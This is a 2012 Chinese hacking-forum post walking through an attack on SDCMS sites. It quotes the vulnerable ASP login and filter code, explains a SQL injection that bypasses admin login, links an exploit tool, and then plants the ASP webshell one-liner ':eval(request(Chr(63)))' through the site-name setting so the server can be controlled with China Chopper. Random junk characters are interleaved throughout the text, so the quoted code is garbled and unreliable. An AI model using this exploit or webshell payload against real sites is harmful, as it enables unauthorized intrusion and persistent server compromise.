找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3402|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
7 ~6 W' b, G: i漏洞文件:后台目录/index.asp& T8 u$ m2 i  y6 s

9 i$ Q. s& U+ ~3 b2 Z- [$ \Sub Check
3 I! v0 r* J# N, k    Dim username,password,code,getcode,Rs
, p8 ?" ~. S" z    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub0 X) L- _4 ]: |& |- F1 L$ j
    username=FilterText(Trim(Request.Form("username")),1)
$ z/ V1 R! S7 j    password=FilterText(Trim(Request.Form("password")),1)# o, _! i3 J3 @# c( B% c+ Z3 @
    code=Trim(Request.Form("yzm"))
% p( I( A) ^2 a: {" {8 d/ O    getcode=Session("SDCMSCode")* {. L' O/ L6 {0 U2 {
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died  K1 E  x; M& W1 q7 c+ a3 b6 y( D
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied; j4 o( K4 K9 t3 h; v2 n/ v, `
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied- _" }3 {/ l% k+ Q  ]
    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
" x! c, U9 b6 H6 j. A7 l2 G7 Y5 J    IF username="" or password="" Then9 T0 t- ?  _2 ~* t7 ]1 \( e: @
        Echo "用户名或密码不能为空"ied
, Q* ]* s8 _+ L    Else6 E4 x/ f# X- C! A1 i! H
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
' L; L7 G3 B6 b9 T( @/ m: _, L0 }6 D        IF Rs.Eof Then8 C$ U* _9 t  b1 f& g/ I
            AddLog username,GetIp,"登录失败",16 i! t" z2 x9 q7 R# L* l
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
/ t8 i9 {8 h$ g" v        Else
/ k$ O. s# J: Q7 E& Y& p            Add_Cookies "sdcms_id",Rs(0)
) l' @  A6 m. r4 H$ i& N& i; K            Add_Cookies "sdcms_name",username% [( X( B% x, B. F. p4 [
            Add_Cookies "sdcms_pwd",Rs(2)
$ w" E  v9 ?" I, x! }9 |            Add_Cookies "sdcms_admin",Rs(3)+ k' s. v% i* B+ J/ N+ e/ m
            Add_Cookies "sdcms_alllever",Rs(4)$ P. Q  k  o; j1 ?; M) j( l
            Add_Cookies "sdcms_infolever",Rs(5)
$ E: E/ x8 p, _5 Y* K            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
. L" o5 S/ ]0 F& R* ~; U$ d9 V            AddLog username,GetIp,"登录成功",1
- n: r1 ]  P& m$ J: I* |3 \; l2 c6 \            '自动删除30天前的Log记录7 \+ |5 T0 e; _* i2 {. a  C
            IF Sdcms_DataType Then( Y) l# [7 [5 K& `' g% I
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
) I+ Q; S3 N! T# {8 Q& N- k8 Z            Else
7 y& X3 c6 S0 L& F+ c/ }                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")" l0 z& \8 F+ [0 w) y# v
            End IF
& |6 E4 f5 ]" |( P- y            Go("sdcms_index.asp")
7 [/ X+ `! Y- R" |! s        End IF
2 y7 _6 z5 M* U7 \* Q3 C1 J5 D        Rs.Close
$ s5 A7 I( H$ ]- @  b# ]5 p$ g, M7 v        Set Rs=Nothing( U. _( p' [8 q0 _5 D  S
    End IF. t6 M) V& f9 M/ ~) Z' ^& }
End Sub
9 h2 d! G. M+ W
0 v" {' `" ^5 e+ Q) [’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
( v% O$ S# X: {' M6 O, P& j9 E% v& Z) k" x  G# }4 R
Function FilterText(ByVal t0,ByVal t1)
. J2 V- j7 {6 b9 j- l    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function4 \- l# f5 Q4 A
    t0=Trim(t0)
9 t  P/ n, ?- Q  r    Select Case t1
3 e4 P! ]7 V3 H0 e1 ?+ [/ [3 M# a6 K        Case "1"- @3 j' P7 }& r5 e8 [: \
            t0=Replace(t0,Chr(32),"")
; N7 x9 y. y: ?9 s. ^            t0=Replace(t0,Chr(13),""). v" u$ f" b3 I, D
            t0=Replace(t0,Chr(10)&Chr(10),"")' ~9 `: P6 ]  R4 B
            t0=Replace(t0,Chr(10),"")+ J0 _2 g: Q8 u( r+ n3 Y/ y
        Case "2"& x9 f* h1 z8 h: T6 o
            t0=Replace(t0,Chr(8),"")'回格
, I9 b7 p4 d6 Z1 C- b            t0=Replace(t0,Chr(9),"")'tab(水平制表符)$ ]3 l. c+ k& {' H/ m+ V5 n
            t0=Replace(t0,Chr(10),"")'换行
2 a- c0 @  O) K1 v            t0=Replace(t0,Chr(11),"")'tab(垂直制表符): c7 \. s2 c7 M- N
            t0=Replace(t0,Chr(12),"")'换页
; s/ N5 W( T: x9 G            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
$ @! J5 z6 r* a6 A+ _5 v$ Q8 {            t0=Replace(t0,Chr(22),"")$ e  H% o! U4 U% Q0 ]9 h1 J
            t0=Replace(t0,Chr(32),"")'空格 SPACE
9 T& u/ r2 D, p2 R: \  I/ `            t0=Replace(t0,Chr(33),"")'!' h1 Q% n: x3 D% K
            t0=Replace(t0,Chr(34),"")'"# {9 u' G6 j  z8 ^
            t0=Replace(t0,Chr(35),"")'#
+ H+ ~* V8 q/ i            t0=Replace(t0,Chr(36),"")'$
5 W8 T$ A' O8 M) A7 B# C            t0=Replace(t0,Chr(37),"")'%8 v% n2 M8 y/ ?5 I
            t0=Replace(t0,Chr(38),"")'&
2 y4 `" z- F* V1 g            t0=Replace(t0,Chr(39),"")''0 s2 X1 H) ?# ], M) n
            t0=Replace(t0,Chr(40),"")'(; l8 y' U. E1 z9 S. V  ?& h3 z( u2 G
            t0=Replace(t0,Chr(41),"")')
# u' w2 P' z6 _+ p+ q            t0=Replace(t0,Chr(42),"")'*
1 n" e) `0 |  v) ^            t0=Replace(t0,Chr(43),"")'+
, j6 `4 l; U( g7 z5 q$ ?* P+ Y            t0=Replace(t0,Chr(44),"")',- }5 O' A- r5 N$ m+ y
            t0=Replace(t0,Chr(45),"")'-0 K& L# c- k& Y- o  s
            t0=Replace(t0,Chr(46),"")'.
- \' T! k: ^6 h7 n            t0=Replace(t0,Chr(47),"")'/7 f* C5 v5 C, H) J- V
            t0=Replace(t0,Chr(58),"")':' r. ?4 e8 I! q
            t0=Replace(t0,Chr(59),"")';2 u$ O1 b! X( h5 I: m8 [# F
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>9 O9 x  R$ ]( @) A
            t0=Replace(t0,Chr(63),"")'?1 J4 I) M  |. ]  p
            t0=Replace(t0,Chr(64),"")'@
2 i* ~# E$ q% B: \( r( R' h            t0=Replace(t0,Chr(91),"")'\1 X& P! b2 E. s4 j& Q
            t0=Replace(t0,Chr(92),"")'\
; u, i9 s/ W  r5 _8 V            t0=Replace(t0,Chr(93),"")']
0 P; u4 ^1 P3 H' |& m# M  C/ q6 E: e            t0=Replace(t0,Chr(94),"")'^
: F& X* {2 U. v+ V$ s            t0=Replace(t0,Chr(95),"")'_& {# S/ S/ V8 V9 I0 A- \# D3 l) p
            t0=Replace(t0,Chr(96),"")'`, x# ]: M7 Z) Z# X3 N
            t0=Replace(t0,Chr(123),"")'{
9 D9 s) a: s; D- M- P  O& N            t0=Replace(t0,Chr(124),"")'|5 d7 E. a) v- }& J9 a$ k3 D9 A
            t0=Replace(t0,Chr(125),"")'}" ?5 @% P& [% g" i: X8 {- T
            t0=Replace(t0,Chr(126),"")'~
, f. P% ^) m# f! B' @% @* k    Case Else
) u5 d4 \: v; N1 T        t0=Replace(t0, "&", "&")
4 h# l: ~( N( g        t0=Replace(t0, "'", "'")
6 `" o, g% b  m  ]        t0=Replace(t0, """", """)& K4 I) g, i/ F; K8 s0 Y
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
- h* g5 Q0 H! p  k9 [) W    End Select  E9 E1 y7 s% _  }
    IF Instr(Lcase(t0),"expression")>0 Then
1 |5 S* p5 t# {/ Y3 j: x        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)2 u2 O/ g9 f/ f+ J/ X
    End If
6 Z+ r. ?: i$ }* G$ P! b: W    FilterText=t0
  Z. m2 L. D! REnd Function
* ]% z7 `2 B" R6 l8 ?  R) W' A& o6 ], y
看到没。直接参数是1 只过滤0 k+ o8 Z& X& ~
                        t0=Replace(t0,Chr(32)," "); M6 M6 C% k, k1 L8 L( S6 a0 R5 Z
                        t0=Replace(t0,Chr(13),"")2 X+ v: m, i" ?0 Y, a
                        t0=Replace(t0,Chr(10)&Chr(10),"1 d5 a9 b  j8 U# x
")
5 u. D' k; q5 E9 g; x                        t0=Replace(t0,Chr(10),"' R& u" D; m) t! |% {* P/ S: K. M' [
")
: m8 z& }5 }: U- P* S& c/ D漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
. r: Q! N- V& f+ B! B' Z# e3 GEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
: n& ~- a6 k9 z4 l1 b, [# W
, k( b3 `5 Z+ M. u1 \测试:; c* K2 ?# T) X1 K

+ m  t: C+ B* r; ~
  o9 U1 w& b7 W1 m现在输入工具上验证码,然后点OK
3 i/ y4 |& \/ x: K% x; x8 |' L6 D+ I; w6 m0 ~4 p; t) @

+ ]3 ?' m4 u. s" t3 P看到我们直接进入后台管理界面了,呵呵!
! l# v! a- I5 T0 ?- w
" u: ?  L6 U5 T& n# G- f2 Q* J" |9 x4 @+ W5 y  R1 ]+ r
& `( `! E5 \/ l1 h/ w
这样直接进入后台了。。。。
- B; P6 i4 P3 _5 u; C4 j% J
; s4 i9 m6 ^3 Z6 B! U: H" c) |7 \
" L6 h( V. z; m) a5 I" g
2 R' y  v# q" [! i; _SDCMS提权:) R9 z0 e: E" ?" p- m7 R1 _
% G0 ?* C$ \' w2 v1 N
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
7 R0 c# z4 @$ K+ t5 X$ }
& e" Y+ }% V+ f+ _9 {
  T: a( W( E. x9 Y- g: V+ [& _5 V& P2 R8 @) o% |
OK,现在用菜刀连接下!
; V( s, C8 ~/ [' T$ I' g3 c: p7 D& d) U
, ~$ h% I% Q) Z8 x
+ |, ~% D* m5 I4 B7 z8 G+ N

0 Z& X8 \& Z: l, c  {4 q; l- Y; L7 N% G- q; r3 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表